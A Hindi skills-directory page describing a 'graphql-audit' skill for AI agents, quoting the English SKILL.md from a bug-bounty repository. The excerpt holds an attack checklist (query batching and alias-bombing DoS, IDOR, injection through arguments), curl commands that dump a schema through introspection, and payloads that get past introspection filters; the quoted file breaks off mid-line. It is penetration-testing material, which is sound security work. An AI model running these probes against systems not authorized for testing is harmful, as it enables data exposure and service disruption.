मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी5.5k · #14789

graphql-audit

यह क्या करती है

यह स्किल एजेंट को GraphQL API का ऑडिट करना सिखाती है, जहाँ क्लाइंट एक कॉल में कई फ़ील्ड माँग सकता है। इसमें स्कीमा का खुलना, एकल फ़ील्ड पर एक्सेस नियंत्रण, और batching तथा nested queries का दुरुपयोग शामिल है।

कब इस्तेमाल करें

  • ✓जब लक्ष्य /graphql या मिलता-जुलता GraphQL एंडपॉइंट उजागर करता हो।
  • ✓जब परीक्षक जाँचना चाहता है कि स्कीमा introspection खुला है या नहीं।
  • ✓जब परीक्षक जाँचना चाहता है कि एक उपयोगकर्ता GraphQL से दूसरे उपयोगकर्ता के रिकॉर्ड पढ़ सकता है या नहीं।

Skill का लिंक

https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/graphql-audit/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/graphql-audit/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“इस GraphQL एंडपॉइंट का ऑडिट कीजिए: खुला introspection और एकल ऑब्जेक्ट पर गायब एक्सेस जाँच।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट GraphQL इंजन पहचानता है, जाँचता है कि स्कीमा खुली है या नहीं, फिर फ़ील्ड सुझाव और एक्सेस नियंत्रण परखता है। वह batching और alias पैटर्न भी आज़माता है, फिर जो पुष्ट हो उसकी रिपोर्ट देता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

GRAPHQL SECURITY AUDIT

GraphQL flips the threat model — clients drive queries. One endpoint, infinite attack surface. Introspection hands you the schema; even without it, field suggestions give you 80% back.


0. QUICK KILL CHECKLIST

[ ] Run graphql_audit.sh <endpoint> — full automated sweep
[ ] Check if introspection is enabled (__schema query)
[ ] If introspection off — run clairvoyance for field discovery
[ ] Fingerprint engine (graphw00f) — different engines, different CVEs
[ ] Test query batching — send 100 identical queries in one POST
[ ] Test alias bombing — 1000 aliases in one query
[ ] Check field suggestions on typos — leaks schema even when introspection off
[ ] Try IDOR: query another user's object by ID, no auth check
[ ] Test field-level auth: query privileged fields (admin, role, internalNote)
[ ] Inject SQLi/NoSQLi via string arguments — id, filter, search args
[ ] Check subscriptions: can you subscribe to other users' events?
[ ] Try introspection bypass: __schema\nquery, query batching, fragment tricks
[ ] Look for mutation rate limiting — account takeover / self-XSS via mutations

1. TOOL — graphql_audit.sh

# Basic audit
bash bughunter/tools/graphql_audit.sh https://target.com/graphql

# With auth cookie
bash bughunter/tools/graphql_audit.sh https://target.com/api/graphql --cookie "session=abc123"

# With Authorization header
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --header "Authorization: Bearer TOKEN"

# Through Burp proxy
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --proxy http://127.0.0.1:8080

# Custom output directory
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --output-dir ./findings/target/graphql

Output: findings/<target>/graphql/<timestamp>/

  • introspection.json — full schema dump (if enabled)
  • fingerprint.txt — engine type (graphw00f)
  • field_suggestions.txt — discovered fields via clairvoyance
  • batching_dos.txt — response time delta for 1 vs 100 queries
  • alias_bomb.txt — alias depth test results
  • injection.txt — injection scan results (built-in SQLi probe)
  • cop_report.txt — graphql-cop attack checklist results
  • summary.txt — hit/miss per phase

2. INTROSPECTION — Schema Leak (Most Common First Step)

Check If Enabled

curl -s -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { queryType { name } } }"}' | jq .

Full Schema Dump

# Pull complete introspection schema (pipe to InQL or graphql-voyager)
curl -s -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{
    "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
  }' | jq . > schema.json

What To Look For In The Schema

- Mutations involving user data: updateUser, deleteAccount, changeEmail, changePassword
- Queries returning other users' objects: user(id: X), order(id: X)
- Fields: internalNote, adminOnly, role, isAdmin, rawPassword, apiKey
- Types: AdminUser, InternalConfig, DebugInfo
- Deprecated fields — often bypassed auth or forgotten
- Subscription types — real-time data leaks

Introspection Bypass Techniques

When __schema is blocked, try:

# Newline injection (bypasses naive keyword filters)
{"query": "query {\n  __schema\n  { queryType { name } } }"}

# Fragment trick
{"query": "fragment f on __Schema { queryType { name } } { ...f }"}

# __type instead of __schema (often overlooked in blocklists)
{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}

# Via GET request (some servers allow GET, filter only POST)
GET /graphql?query={__schema{queryType{na
अक्सर पूछे जाने वाले सवाल

introspection क्या है?

यह GraphQL की एक सुविधा है जो पूरी स्कीमा उजागर कर सकती है, और स्किल जाँचती है कि यह चालू है या नहीं।

अगर introspection बंद हो तो?

स्किल फ़ील्ड खोज और टाइपो सुझावों की जाँच सुझाती है, जो फिर भी स्कीमा का कुछ हिस्सा उजागर कर सकती है।

कौन-से टूल का नाम लिया गया है?

graphw00f, clairvoyance, GraphQLmap, graphql-cop और inql।

जानकारी

लेखक का मूल विवरण

GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, GraphQLmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.

repo: awarexone/Agentic-Bug-Hunter

लोकप्रियता

GitHub स्टार
5.5k
रैंकिंग में स्थान
#14789
लाइसेंस
MIT
अपडेट की गई
28/10/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

bug-bounty

5.5k

आपके एजेंट को बग बाउंटी समीक्षा चरणों में योजना बनाने में मदद करती है, प्रोग्राम का दायरा जाँचने और संपत्तियाँ मैप करने से लेकर प्रभाव सत्यापित करने और रिपोर्ट लिखने तक।

कोडिंगसिक्योरिटी

agentic-app-audit

5.5k

आपके एजेंट को लाइव AI असिस्टेंट की बाहर से समीक्षा करने देती है, हाइजैक्ड टूल कॉल, दूषित मेमोरी और उपयोगकर्ता से अधिक पहुँच वाली कार्रवाइयों जैसे जोखिमों के लिए।

कोडिंगसिक्योरिटी

argus

5.5k

आपके एजेंट को वेब और AI ऐप की आम खामियों के लिए छह स्वचालित स्कैनर चलाने देती है, जैसे खुला cross-origin एक्सेस, JWT कमज़ोरियाँ और out-of-band में पुष्ट अंधी बग।

कोडिंगसिक्योरिटी

bb-methodology

5.5k

आपके एजेंट को बग बाउंटी सत्र चरणों में योजना बनाने देती है, अगला कदम और सही जाँच चुनते हुए, और ऐसे विचार छोड़ते हुए जो असली नुकसान नहीं कर सकते।

कोडिंगसिक्योरिटी

मिलती-जुलती skills